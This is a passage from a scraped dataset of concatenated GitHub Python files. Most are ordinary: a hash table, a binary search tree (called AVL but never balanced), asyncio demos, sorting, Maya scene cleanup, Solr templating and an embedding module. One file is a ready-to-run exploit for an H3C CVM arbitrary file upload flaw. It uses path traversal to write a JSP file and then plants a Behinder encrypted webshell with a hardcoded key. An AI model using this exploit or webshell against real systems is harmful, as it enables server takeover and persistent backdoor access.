\r\n return int(salida)\r\n\r\ndef hashM(cad, m):\r\n i = convCad(cad)\r\n\r\n return ( ( ( 49 * i ) + 689 ) % 999983 ) % len((ht))\r\n\r\ndef agregar(cad, ht, m): \r\n res = hashM(cad, ht)\r\n ht[res].append(cad)\r\n\r\ndef buscar(cad, ht, m):\r\n h = hashM(cad, ht)\r\n \r\n for i in ht[h]:\r\n if i == cad: \r\n return True\r\n\r\n return False\r\n\r\ndef eliminar(cad, ht, m):\r\n res = hashM(cad, ht)\r\n\r\n for i in ht[res]: \r\n if i == cad: \r\n a = ht[res].remove(cad)\r\n return a\r\n\r\n else: \r\n print(\"No se pudo eliminar\")\r\n return None\r\nm = 19 \r\n\r\nht = [ [] for i in range(m) ]\r\n\r\nagregar(\"Culo\", ht, m)\r\nagregar(\"bien\", ht, m)\r\nagregar(\"yolo\", ht, m)\r\nagregar(\"espero\", ht, m)\r\nagregar(\"estas\", ht, m)\r\nagregar(\"como\", ht, m)\r\nagregar(\"Hola\", ht, m)\r\nagregar(\"neib\", ht, m)\r\n\r\nprint(ht)\r\n\r\nprint(buscar(\"nalgona\", ht, m))\r\nprint(buscar(\"bien\", ht, m))\r\n\r\nprint(eliminar(\"Culo\", ht, m))\r\nprint(ht)","repo_name":"Diego-Santiago-Gutierrez/Data-Structure-and-Algorithms-2","sub_path":"ALGORITMOS DE BUSQUEDA/HashTable.py","file_name":"HashTable.py","file_ext":"py","file_size_in_byte":1062,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"70666984108","text":"from src import db_constants\nfrom src.security_util import SecurityUtil\nimport sys\n\nprint(\"Python_Version: {}, Python_Path: {}\".format(sys.version, sys.path))\nimport datetime as dt\nimport pandas as pd\nimport pandas_datareader.data as web\nfrom pyspark.sql import SparkSession\nimport xlrd\nimport xlwt\n# import requests\n\ndef get_all_tickers(pricer_type):\n if db_constants.PRICER_INV == pricer_type:\n return pd.read_excel(db_constants.TABLE_INV_WATCHLIST, sheet_name='watch_list')[db_constants.WATCHLIST_HEADER[0]].tolist()\n elif db_constants.PRICER_ARB == pricer_type:\n return pd.read_excel(db_constants.TABLE_ARB_WATCHLIST, sheet_name='watch_list')[db_constants.WATCHLIST_HEADER[0]].tolist()\n elif db_constants.PRICER_HFT == pricer_type:\n return pd.read_excel(db_constants.TABLE_HFT_WATCHLIST, sheet_name='watch_list')[db_constants.WATCHLIST_HEADER[0]].tolist()\n\n\ndef request_single_ticker_bar_data_and_save_to_db(pricer_type, ticker, start_date, end_date, bar_size):\n # prepare valid ticker for Yahoo API\n ticker = SecurityUtil.chopExchangeCodePrefix(ticker)\n yahoo_ticker = SecurityUtil.getYahooAPITicker(ticker)\n ticker = SecurityUtil.chopExchangeCodeSuffix(ticker)\n # core pandas datareader API\n df = web.DataReader(yahoo_ticker, 'yahoo', start_date, end_date)\n df.reset_index(inplace=True)\n # rename columns\n df.columns = ['open_date', 'high_price', 'low_price', 'open_price', 'close_price', 'volume', 'adjusted_close_price']\n # reorder columns\n df = df[['open_date', 'open_price', 'high_price', 'low_price', 'close_price', 'adjusted_close_price', 'volume']]\n # change open_date column type from datetime64 to str\n df['open_date'] = df['open_date'].astype('str')\n\n if db_constants.PRICER_INV == pricer_type:\n df.to_excel(db_constants.DB_INV_HISTDATA_STK_BARS + bar_size + \"_bar_prices/\" + ticker + '.xls', sheet_name=ticker, index=False)\n elif db_constants.PRICER_ARB == pricer_type:\n df.to_excel(db_constants.DB_ARB_HISTDATA_STK_BARS + bar_size + \"_bar_prices/\" + ticker + '.xls', sheet_name=ticker, index=False)\n elif db_constants.PRICER_HFT == pricer_type:\n df.to_excel(db_constants.DB_HFT_HISTDATA_STK_BARS + bar_size + \"_bar_prices/\" + ticker + '.xls', sheet_name=ticker, index=False)\n\n\ndef request_all_tickers_bar_data_and_save_to_db(pricer_type, start_date, end_date, bar_size, spark):\n rdd_all_tickers = spark.sparkContext.parallelize(get_all_tickers(pricer_type))\n sum_success = spark.sparkContext.accumulator(0)\n sum_failure = spark.sparkContext.accumulator(0)\n rdd_all_tickers.foreach(lambda ticker: request_for_ticker(pricer_type, ticker, start_date, end_date, bar_size, sum_success, sum_failure))\n print(\"{}: {} # of daily bars successfully saved. {} # of daily bars failed to be saved!\".format(pricer_type, sum_success.value, sum_failure.value))\n\n\ndef request_for_ticker(pricer_type, ticker, start_date, end_date, bar_size, sum_success, sum_failure):\n try:\n request_single_ticker_bar_data_and_save_to_db(pricer_type, ticker, start_date, end_date, bar_size)\n sum_success.add(1)\n print(\"{}: {} daily bar is successfuly saved.\".format(pricer_type, ticker))\n except Exception as e:\n sum_failure.add(1)\n print(\"{}: {} daily bar fails to be saved! Reason: {}\".format(pricer_type, ticker, e))\n\n\ndef main():\n end = dt.datetime.now()\n start = dt.datetime(2000, 1, 1)\n bar_size = 'd'\n # pyspark\n spark = SparkSession.builder \\\n .appName('yapi-pyspark') \\\n .master('local[*]') \\\n .getOrCreate()\n request_all_tickers_bar_data_and_save_to_db(db_constants.PRICER_INV, start, end, bar_size, spark)\n request_all_tickers_bar_data_and_save_to_db(db_constants.PRICER_ARB, start, end, bar_size, spark)\n request_all_tickers_bar_data_and_save_to_db(db_constants.PRICER_HFT, start, end, bar_size, spark)\n print(\"Elapsed Time = {0}\".format(dt.datetime.now() - end))\n spark.stop()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"wildfly8/fin-mktdata-Python","sub_path":"src/yapi_pyspark.py","file_name":"yapi_pyspark.py","file_ext":"py","file_size_in_byte":4019,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"26598252914","text":"\r\n\r\nclass Node:\r\n \"\"\"Used with AVL BST.\"\"\"\r\n def __init__(self, value: int) -> None:\r\n self.value = value\r\n self.left = None\r\n self.right = None\r\n\r\n\r\nclass BST:\r\n \"\"\"Adelson-Velsky and Landis Binary Search Tree.\"\"\"\r\n def __init__(self, starting_node=None):\r\n self.root = starting_node\r\n if starting_node:\r\n self.root = Node(starting_node)\r\n\r\n\r\n def __str__(self) -> str:\r\n \"\"\"Return content of BST in human-readable form.\"\"\"\r\n values = []\r\n self._str_helper(self.root, values)\r\n return \"pre-order { \" + \", \".join(values) + \" }\"\r\n\r\n def _str_helper(self, curr, values) -> None:\r\n \"\"\"Helper method for __str__.\"\"\"\r\n # base case\r\n if not curr:\r\n return\r\n # store value of current node\r\n values.append(str(curr.value))\r\n # recursive case for left subtree\r\n self._str_helper(curr.left, values)\r\n # recursive case for right subtree\r\n self._str_helper(curr.right, values)\r\n\r\n def add_node(self, value: int) -> None:\r\n \"\"\"Adds a Node to the BST. Time complexity log(n).\"\"\"\r\n new_node = Node(value)\r\n curr = self.root\r\n if curr is None:\r\n self.root = new_node\r\n else:\r\n while curr:\r\n prev = curr\r\n if curr.value <= value:\r\n curr = curr.right\r\n else:\r\n curr = curr.left\r\n\r\n if prev.value <= value:\r\n prev.right = new_node\r\n else:\r\n prev.left = new_node\r\n\r\n def rem_root(self) -> None:\r\n \"\"\"Removes the root Node from the BST. Time complexity log(n).\"\"\"\r\n if not self.root:\r\n return\r\n # Simple cases without having to traverse the BST.\r\n leftC = self.root.left\r\n rightC = self.root.right\r\n if leftC is None and rightC is not None:\r\n self.root = rightC\r\n elif leftC is not None and rightC is None:\r\n self.root = leftC\r\n elif leftC is None and rightC is None:\r\n self.root = None\r\n # More complex scenario where the left most Node of the right sub-branch\r\n # of the Root Node becomes the new Root.\r\n else:\r\n # S is the successor, N is the current Node.\r\n S,N = self.root.right, self.root.right\r\n # Finding the leftmost Node in the right sub branch.\r\n while N.left:\r\n S = N\r\n N = N.left\r\n # Special case when the root's right child becomes the new root.\r\n if S == N:\r\n temp = self.root.left\r\n self.root = N\r\n self.root.left = temp\r\n else:\r\n S.left = N.right\r\n temp1 = self.root.right\r\n temp2 = self.root.left\r\n self.root = N\r\n N.right = temp1\r\n N.left = temp2\r\n\r\n def rem_node(self, val: int) -> None:\r\n \"\"\"Removes a Node from the BST. Time complexity log(n).\"\"\"\r\n if not self.root:\r\n return\r\n # Calls rem_root() function if the root is being removed.\r\n elif self.root.value == val:\r\n self.rem_root()\r\n else:\r\n # Finding the Node to remove while keeping track of the parent Node.\r\n curr = self.root\r\n while curr:\r\n if curr.value == val:\r\n break\r\n elif curr.right is None and curr.left is None:\r\n return\r\n elif curr.value <= val:\r\n prev = curr\r\n curr = curr.right\r\n else:\r\n prev = curr\r\n curr = curr.left\r\n\r\n leftC = curr.left\r\n rightC = curr.right\r\n cv = curr.value\r\n pv = prev.value\r\n # Simple cases without having to traverse the BST.\r\n if leftC is None and rightC is not None and cv >= pv:\r\n prev.right = rightC\r\n elif leftC is None and rightC is not None and cv < pv:\r\n prev.left = rightC\r\n elif leftC is not None and rightC is None and cv >= pv:\r\n prev.right = leftC\r\n elif leftC is not None and rightC is None and cv < pv:\r\n prev.left = leftC\r\n elif leftC is None and rightC is None and cv >= pv:\r\n prev.right = None\r\n elif leftC is None and rightC is None and cv < pv:\r\n prev.left = None\r\n else:\r\n # More complex scenario where the left most Node of the right sub-branch\r\n # of the current Node being removed becomes the replacement Node.\r\n S, N = curr.right, curr.right\r\n while N.left:\r\n S = N\r\n N = N.left\r\n\r\n S.left = N.right\r\n N.right = curr.right\r\n N.left = curr.left\r\n # Checking to see if the replacement Node is going to be the left or\r\n # right child of the current Node's parent.\r\n if cv >= pv:\r\n prev.right = N\r\n else:\r\n prev.left = N\r\n\r\n def search(self, val: int) -> bool:\r\n \"\"\"Searches the BST for the value, returns T/F if it exists. Time Complexity log(n).\"\"\"\r\n curr = self.root\r\n while curr:\r\n if curr.value == val:\r\n return True\r\n elif curr.value <= val:\r\n curr = curr.right\r\n else:\r\n curr = curr.left\r\n\r\n return False\r\n\r\nif __name__ == \"__main__\":\r\n tree1 = BST(10)\r\n print(tree1)\r\n tree1.add_node(7)\r\n tree1.add_node(15)\r\n tree1.add_node(13)\r\n tree1.add_node(17)\r\n tree1.add_node(16)\r\n tree1.add_node(18)\r\n print(tree1)\r\n tree1.rem_node(19)\r\n print(tree1)\r\n","repo_name":"hingacx/Algorithms","sub_path":"Algorithms/AVLtree.py","file_name":"AVLtree.py","file_ext":"py","file_size_in_byte":5968,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"72025678826","text":"import asyncio\nfrom functools import partial\n\n\n\nasync def call_soon():\n\tloop = asyncio.get_running_loop()\n\tloop.call_soon(partial(print, 'Hello wolrd', flush=True))\n\tawait asyncio.sleep(0.1)\n\tloop.call_soon(partial(print, 'second call', flush=True))\n\nasync def call_later():\n\tloop = asyncio.get_running_loop()\n\tloop.call_soon(partial(print, f'starting time: {loop.time()}', flush=True))\n\tloop.call_later(0.1, partial(print, 'second in 1 second', flush=True))\n\tloop.call_later(0.4, partial(print, 'second in 3 second', flush=True))\n\tloop.call_soon(partial(print, 'this is call soon', flush=True))\n\tloop.call_soon(partial(print, f'final time: {loop.time()}', flush=True))\n\tawait asyncio.sleep(0.5)\n\n\nasync def slow_operation():\n\t\"\"\"\n\tref: http://masnun.com/2015/11/20/python-asyncio-future-task-and-the-event-loop.html\n\t\"\"\"\n\tawait asyncio.sleep(1)\n\treturn 'FUTURE IS DONE'\n\n\ndef got_result(future):\n\tprint(future.result())\n\tloop.stop()\n\n\n# async def main():\nloop = asyncio.get_event_loop()\ntask = loop.create_task(slow_operation())\ntask.add_done_callback(got_result)\ntry:\n\tloop.run_forever()\nfinally:\n\tloop.close()\n\n\n# asyncio.run(main())\n","repo_name":"Gera3dartist/learn_async","sub_path":"event_loop_api.py","file_name":"event_loop_api.py","file_ext":"py","file_size_in_byte":1137,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"10355769205","text":"import random\r\nimport time\r\n\r\ndef BubbleSort(list):\r\n l = len(list)#get the lenth of the list\r\n for i in range(l-1):#go through the list l-1 times\r\n for n in range(l-1):#repeat through each number in the list l-1\r\n if list[n] > list[n+1]:#if this number is larger than the number behund it\r\n list[n],list[n+1] = list[n+1],list[n]#swap the numbers\r\n return(list)#return the result\r\n\r\n\r\n\r\nnum_list = []\r\nfor i in range(1000):\r\n num_list.append(random.randint(0,10000))#genorate a random list\r\n\r\n#timer start\r\nstart = time.time()\r\n\r\nprint(BubbleSort(num_list))\r\n\r\nend = time.time()\r\nTime = end - start\r\nprint(Time)#timer end and print run time\r\n# print(BubbleSort([2,1,4,10,34,5,100,25]))#call the function","repo_name":"TechioStudios/Python-sorting-algorithms","sub_path":"BubbleSort.py","file_name":"BubbleSort.py","file_ext":"py","file_size_in_byte":748,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"8986712630","text":"\"\"\" This module contains publish steps for all element files\"\"\"\n\nimport os \nimport maya.cmds as cmds\nimport maya.mel as mel\n\n\n# --------------------------------------------------------------------------------\n# Clean scene functions from rigamajig2\n# --------------------------------------------------------------------------------\ndef cleanNodes():\n \"\"\"\n Clean up unused nodes.\n Remove all nodes that are not connected to anything.\n \"\"\"\n # source the new MLdeleteUnused to solve a bug deleting the default aiStandard shader in Maya2020\n ovMLdeleteUnusedPath = '/'.join(__file__.split(os.sep)[:-1]) + '/MLdeleteUnused.mel'\n mel.eval('source \"{}\"'.format(ovMLdeleteUnusedPath))\n\n mel.eval(\"MLdeleteUnused\")\n nodes = cmds.ls(typ=['groupId', 'nodeGraphEditorInfo', 'nodeGraphEditorBookmarkInfo', 'unknown'])\n if nodes:\n for node in nodes:\n nodeType = cmds.nodeType(node)\n isConnected = cmds.listHistory(node, f=True, il=True)\n if (\"GraphEditor\" in nodeType) or (\"unknown\" in nodeType) or not isConnected:\n try:\n cmds.lockNode(node, l=False)\n cmds.delete('node')\n print(\"Cleaned Node: '{}'\".format(node))\n except:\n pass\n\n\ndef cleanPlugins():\n \"\"\"\n Clean unknown plugins.\n Remove unkown plugins in the scene\n \"\"\"\n plugins = cmds.unknownPlugin(q=True, l=True)\n if plugins:\n for plugin in plugins:\n try:\n cmds.unknownPlugin(plugin, r=True)\n print(\"Cleaned Plugin: '{}'\".format(plugin))\n except:\n pass\n\n\ndef cleanScriptNodes(excludedScriptNodes=list(), excludePrefix='rigamajig2'):\n \"\"\"\n Clean all scriptnodes in the scene.\n By default script nodes with the prefix 'rigamajig2' will be ignored\n :param excludedScriptNodes: list of script nodes to be kept\n :param excludePrefix: prefix used to filter script nodes. All nodes with the prefix are kept.\n \"\"\"\n all_script_nodes = cmds.ls(type='script')\n for script_node in all_script_nodes:\n if script_node.startswith(excludePrefix):\n continue\n if script_node in excludedScriptNodes:\n continue\n\n cmds.delete(script_node)\n print(\"Cleaned Script Node: '{}'\".format(script_node))\n\n\ndef cleanRougePanels(panels=list()):\n \"\"\"\n cleanup rouge procedures from all modelPanels\n It will remove errors like:\n // Error: line 1: Cannot find procedure \"CgAbBlastPanelOptChangeCallback\". //\n // Error: line 1: Cannot find procedure \"DCF_updateViewportList\". //\n \"\"\"\n if not isinstance(panels, (list, tuple)):\n panels = [panels]\n EVIL_METHOD_NAMES = ['DCF_updateViewportList', 'CgAbBlastPanelOptChangeCallback', 'onModelChange3dc'] + panels\n capitalEvilMethodNames = [name.upper() for name in EVIL_METHOD_NAMES]\n modelPanelLabel = mel.eval('localizedPanelLabel(\"ModelPanel\")')\n processedPanelNames = []\n panelName = cmds.sceneUIReplacement(getNextPanel=('modelPanel', modelPanelLabel))\n while panelName and panelName not in processedPanelNames:\n editorChangedValue = cmds.modelEditor(panelName, query=True, editorChanged=True)\n parts = editorChangedValue.split(';')\n newParts = []\n changed = False\n for part in parts:\n for evilMethodName in capitalEvilMethodNames:\n if evilMethodName in part.upper():\n changed = True\n print(\"removed callback '{}' from pannel '{}'\".format(part, panelName))\n break\n else:\n newParts.append(part)\n if changed:\n cmds.modelEditor(panelName, edit=True, editorChanged=';'.join(newParts))\n processedPanelNames.append(panelName)\n panelName = cmds.sceneUIReplacement(getNextPanel=('modelPanel', modelPanelLabel)) or None\n\n\n# --------------------------------------------------------------------------------\n# Functions for asset files\n# --------------------------------------------------------------------------------\ndef cleanNamespaces():\n \"\"\"\n Delete all namespaces from a scene\n \"\"\"\n toExclude = ('UI', 'shared')\n ns_dict = {}\n for ns_find in (x for x in cmds.namespaceInfo(':', listOnlyNamespaces=True, recurse=True, fn=True) if\n x not in toExclude):\n ns_dict.setdefault(len(ns_find.split(\":\")), []).append(ns_find)\n\n for i, lvl in enumerate(reversed(ns_dict.keys())):\n for namespace in ns_dict[lvl]:\n cmds.namespace(removeNamespace=namespace, mergeNamespaceWithParent=True)\n print (\"removed namespace {}\".format(namespace))\n\n\ndef importReferences():\n \"\"\"\n Import all References in the file\n \"\"\"\n refs = cmds.ls(type='reference')\n\n for ref in refs:\n try:\n rFile = cmds.referenceQuery(ref, f=True)\n cmds.file(rFile, importReference=True)\n print(\"imported reference: {}\".format(rFile))\n except:\n print(\"Failed to import reference node for: {}\".format(ref))\n","repo_name":"masonSmigel/sas_pipeline","sub_path":"scripts/sas_pipe/maya/publish/clean_elements.py","file_name":"clean_elements.py","file_ext":"py","file_size_in_byte":5124,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"37"} +{"seq_id":"34226412259","text":"global primes\nprimes = [2, 3, 5, 7, 11, 13, 17]\n\ndef getListOfPermutations(string):\n if (len(string) == 0):\n return ['']\n else:\n l = []\n for e in string:\n temp = string\n temp = temp.replace(e, '')\n ll = getListOfPermutations(temp)\n if (ll == ['']):\n l.append(e)\n else:\n for i in ll:\n s = e + i\n if (len(s) >= 3 and len(s) != 10):\n j = len(s)-3\n num = int(s[0:3])\n if (num % primes[len(primes)-1-j] == 0):\n l.append(s)\n else:\n l.append(s)\n return l\n\ndef getNPandigitals(n):\n l = '0987654321'\n l = l[10-n:10]\n return getListOfPermutations(l)\n\ndef solve():\n l = getNPandigitals(10)\n print(l)\n print(len(l))\n s = 0\n \n for n in l:\n s = s + int(n)\n return s\n\nprint(solve())\n","repo_name":"ijkilchenko/ProjectEuler_Solutions","sub_path":"Python/Problem43.py","file_name":"Problem43.py","file_ext":"py","file_size_in_byte":1000,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"44358698154","text":"#!/usr/bin/env python\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); \n# you may not use this file except in compliance with the License. \n# You may obtain a copy of the License at \n# \n# http://www.apache.org/licenses/LICENSE-2.0 \n# \n# Unless required by applicable law or agreed to in writing, software \n# distributed under the License is distributed on an \"AS IS\" BASIS, \n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. \n# See the License for the specific language governing permissions and \n# limitations under the License. \n#\n\"\"\"utilities for working with environment variables and settings\"\"\"\n\nimport os\nimport sys\nimport operator\nfrom contextlib import contextmanager\nfrom itertools import imap\nfrom ConfigParser import SafeConfigParser\n\n_home = os.environ['HOME']\n_rc_locations = [\n '/etc/solrnoderc',\n '{0}/.solrnoderc'.format(_home)\n]\n\n@contextmanager\ndef cwd(path):\n \"\"\"A context manager which changes the working directory to the given\n path, and then changes it back to its previous value on exit\"\"\"\n prev_cwd = os.getcwd()\n os.chdir(path)\n yield\n os.chdir(prev_cwd)\n \nclass SolrNodeEnv(dict):\n \"\"\"Encapsulates the environment\n as used by the framework. This is typified\n by a nested dict-like data structure which\n can have settings interleaved from config files\n as well as used-supplied CLI arguments\"\"\"\n \n def __init__(self):\n super(dict, self).__init__()\n \n # This will hold auto-generated environment settings\n self['_env'] = {}\n \n self.update_conf_files(_rc_locations)\n \n def update_conf_files(self, filenames):\n \"\"\"Update environment from a sequence of\n configuration file locations. These are expected\n to be in the simple INI-like format readable\n by Python's configparser\"\"\"\n config = SafeConfigParser()\n num_read = config.read(filenames) \n if not num_read:\n self.LOG.warning(\"Could not find solrnoderc configuration file in any of the locations searched (%s)\",\n filenames)\n return\n \n for section in config.sections():\n self.setdefault(section, {})\n self[section].update(dict(config.items(section)))\n \n def update_user_args(self, user_args):\n \"\"\"Update environment from a sequence\n of user arguments. These are expected to be of the\n form =, and can contain\n dotted notation (e.g 'fs.path=/my/path')\"\"\"\n \n for (key, value) in imap(lambda x: x.split(\"=\"), user_args):\n split_key = key.split(\".\")\n curr_node = self\n for ns in split_key[:-1]:\n curr_node.setdefault(ns, {})\n curr_node = curr_node[ns]\n curr_node[split_key[-1]] = value\n\nclass TemplateManifest(object):\n \"\"\"A Template manifest is a bundle\n of definitions that gives the framework\n reflection-like access to the template.\n This is used esp. when rendering an instance\n from a import template, e.g to keep track of\n required variable definitions\"\"\"\n \n def __init__(self, metadata, required_vars=None):\n self.metadata = metadata\n self.required_vars = required_vars or []\n \n def __unicode__(self):\n return u\"\\n\".join([\n \"Template name: {0}\".format(self.metadata['name']),\n \"Author: {0}\".format(self.metadata['author']),\n \"Created on: {0}\".format(self.metadata['created_on']),\n \n \"Required vars:\\n{0}\".format(\" \" + \\\n \"\\n \".join(self.required_vars))\n ])\n __repr__ = __unicode__\n \n @classmethod\n def from_file(cls, filename):\n config = SafeConfigParser()\n config.read(filename)\n \n metadata = dict(config.items('metadata'))\n \n required_vars = map(operator.itemgetter(1),\n config.items('required_vars'))\n \n return TemplateManifest(metadata=metadata, \n required_vars=required_vars)\n ","repo_name":"adamhadani/solr-templating","sub_path":"solrnode/templating/env.py","file_name":"env.py","file_ext":"py","file_size_in_byte":4159,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"27989703837","text":"from os import path\n\nfrom setuptools import setup\n\nthis_directory = path.abspath(path.dirname(__file__))\nwith open(path.join(this_directory, 'README.md'), encoding='utf-8') as f:\n long_description = f.read()\n\nsetup(\n name='constituency-tree-converter',\n version='1.0.11',\n packages=['con_tree_converter', ],\n url='https://github.com/geasyheart/constituency-tree-converter',\n license='MIT',\n author='yuzhang',\n author_email='geasyheart@163.com',\n description='constituency tree converter',\n long_description=long_description,\n long_description_content_type='text/markdown',\n python_requires='>=3.6',\n install_requires=[\n 'nltk==3.6.5'\n ],\n extras_require={\n 'full': [\n 'graphviz>=0.18.2'\n ]\n },\n classifiers=(\n \"Programming Language :: Python :: 3\",\n \"License :: OSI Approved :: MIT License\",\n \"Operating System :: OS Independent\",\n ),\n)\n","repo_name":"geasyheart/constituency-tree-converter","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":944,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"37"} +{"seq_id":"36665865652","text":"import requests\r\nimport re, time\r\nimport urllib, random, string\r\n\r\ndef verify(url):\r\n relsult = {\r\n 'name': 'H3C CVM 前台任意文件上传漏洞(2022HVV) ',\r\n 'vulnerable': False,\r\n 'attack': True,\r\n 'url': url,\r\n 'about': 'https://mp.weixin.qq.com/s/Oqo-8D6sQltVfq2RfbQdfw',\r\n }\r\n randstr1 = ''.join(random.sample(string.digits + string.ascii_letters, 4))\r\n randstr2 = ''.join(random.sample(string.digits + string.ascii_letters, 4))\r\n shell = f'<% out.println(\"{randstr1}\" + \"{randstr2}\"); %>'\r\n filename = ''.join(random.sample(string.digits + string.ascii_letters, 5)) + '.jsp'\r\n payload = '/cas/fileUpload/upload?token=/../../../../../var/lib/tomcat8/webapps/cas/js/lib/buttons/{0}&name=222'.format(filename)\r\n timeout = 5\r\n headers = {\r\n 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15',\r\n 'Content-Range': 'bytes 0-10/20',\r\n }\r\n vurl = urllib.parse.urljoin(url, payload)\r\n data = '{0}'.format(shell)\r\n verify_url = urllib.parse.urljoin(url, '/cas/js/lib/buttons/' + filename)\r\n try:\r\n rep = requests.post(vurl, headers=headers, timeout=timeout, data=data, verify=False)\r\n if rep.status_code == 200 and re.search('success', rep.text):\r\n rep2 = requests.get(verify_url, timeout=timeout, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36'}, verify=False)\r\n if rep2.status_code == 200 and re.search(randstr1 + randstr2, rep2.text):\r\n relsult['vulnerable'] = True\r\n relsult['verify'] = verify_url\r\n return relsult\r\n except:\r\n return relsult\r\n\r\ndef attack(url):\r\n shell = '<%@page import=\"java.util.*,javax.crypto.*,javax.crypto.spec.*\"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals(\"POST\")){String k=\"e45e329feb5d925b\";session.putValue(\"u\",k);Cipher c=Cipher.getInstance(\"AES\");c.init(2,new SecretKeySpec(k.getBytes(),\"AES\"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>'\r\n filename = ''.join(random.sample(string.digits + string.ascii_letters, 5)) + '.jsp'\r\n payload = '/cas/fileUpload/upload?token=/../../../../../var/lib/tomcat8/webapps/cas/js/lib/buttons/{0}&name=222'.format(filename)\r\n timeout = 20\r\n headers = {\r\n 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15',\r\n 'Content-Range': 'bytes 0-10/20',\r\n }\r\n vurl = urllib.parse.urljoin(url, payload)\r\n data = '{0}'.format(shell)\r\n verify_url = urllib.parse.urljoin(url, '/cas/js/lib/buttons/' + filename)\r\n print('[+] exploit loading ......')\r\n time.sleep(2)\r\n try:\r\n print('[+] 开始上传webshell')\r\n rep = requests.post(vurl, headers=headers, timeout=timeout, data=data, verify=False)\r\n if rep.status_code == 200:\r\n print('[+] 上传成功, 正在检测webshell是否存在?')\r\n rep2 = requests.get(verify_url, timeout=timeout, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36'}, verify=False)\r\n if rep2.status_code == 200:\r\n print('[*] status_code: 200 , 上传成功!')\r\n print('[*] webshell(冰蝎):', verify_url)\r\n print('[*] 密码: rebeyond')\r\n return True\r\n return False\r\n except:\r\n return False","repo_name":"tr0uble-mAker/POC-bomber","sub_path":"pocs/redteam/h3c_cvm_fileupload_2022.py","file_name":"h3c_cvm_fileupload_2022.py","file_ext":"py","file_size_in_byte":3798,"program_lang":"python","lang":"en","doc_type":"code","stars":1879,"dataset":"github-code","pt":"37"} +{"seq_id":"29419753477","text":"import numpy as np\nimport torch\nfrom torch import nn\nfrom .tokenization_bros import BrosTokenizer\n\ndef _init_weights(m):\n if isinstance(m, nn.Linear):\n # we use xavier_uniform following official JAX ViT:\n torch.nn.init.xavier_uniform_(m.weight)\n if isinstance(m, nn.Linear) and m.bias is not None:\n nn.init.constant_(m.bias, 0)\n elif isinstance(m, nn.LayerNorm):\n nn.init.constant_(m.bias, 0)\n nn.init.constant_(m.weight, 1.0)\n \nclass WordnnEmbedding(nn.Module):\n \"\"\"Generate chargrid embedding feature map.\n \"\"\"\n def __init__(self,\n vocab_size=30552,\n hidden_size=768,\n embedding_dim=64,\n bros_embedding_path=\"/bros-base-uncased/\",\n use_pretrain_weight=True,\n use_UNK_text=False):\n \"\"\"\n Args:\n vocab_size (int): size of vocabulary.\n embedding_dim (int): dim of input features\n \"\"\"\n super().__init__()\n\n self.embedding = nn.Embedding(vocab_size, hidden_size)\n self.embedding_proj = nn.Linear(hidden_size, embedding_dim, bias=False)\n # self.tokenizer = BrosTokenizer.from_pretrained(bros_embedding_path)\n self.use_pretrain_weight = use_pretrain_weight\n self.use_UNK_text = use_UNK_text\n \n self.init_weights(bros_embedding_path)\n self.apply(_init_weights)\n\n def init_weights(self, bros_embedding_path):\n if self.use_pretrain_weight:\n state_dict = torch.load(bros_embedding_path + \"pytorch_model.bin\", map_location='cpu')\n if 'bert' in bros_embedding_path:\n word_embs = state_dict[\"bert.embeddings.word_embeddings.weight\"]\n elif 'bros' in bros_embedding_path:\n word_embs = state_dict[\"embeddings.word_embeddings.weight\"]\n elif 'layoutlm' in bros_embedding_path:\n word_embs = state_dict[\"layoutlm.embeddings.word_embeddings.weight\"]\n else:\n print(\"Wrong bros_embedding_path!\")\n self.embedding = nn.Embedding.from_pretrained(word_embs)\n print(\"use_pretrain_weight: load model from:\", bros_embedding_path)\n \n def forward(self, img, batched_inputs, stride = 1):\n \"\"\" Forward computation\n Args:\n img (Tensor): in shape of [B x 3 x H x W]\n batched_inputs (list[dict]): \n Returns:\n Tensor: in shape of [B x N x L x D], where D is the embedding_dim.\n \"\"\"\n device = img.device\n batch_b, _, batch_h, batch_w = img.size()\n\n chargrid_map = torch.zeros((batch_b, batch_h // stride, batch_w // stride ), dtype=torch.int64).to(device)\n \n for iter_b in range(batch_b):\n per_input_ids = batched_inputs[iter_b][\"input_ids\"] \n per_input_bbox = batched_inputs[iter_b][\"bbox\"]\n \n short_length_w = min(len(per_input_ids), len(per_input_bbox)) \n \n if short_length_w > 0 : \n for word_idx in range(short_length_w): \n per_id = per_input_ids[word_idx]\n \n bbox = per_input_bbox[word_idx] / stride\n w_start, h_start, w_end, h_end = bbox.round().astype(np.int).tolist()\n \n if self.use_UNK_text:\n chargrid_map[iter_b, h_start:h_end, w_start: w_end] = 100\n else:\n chargrid_map[iter_b, h_start:h_end, w_start: w_end] = per_id\n\n chargrid_map = self.embedding(chargrid_map)\n 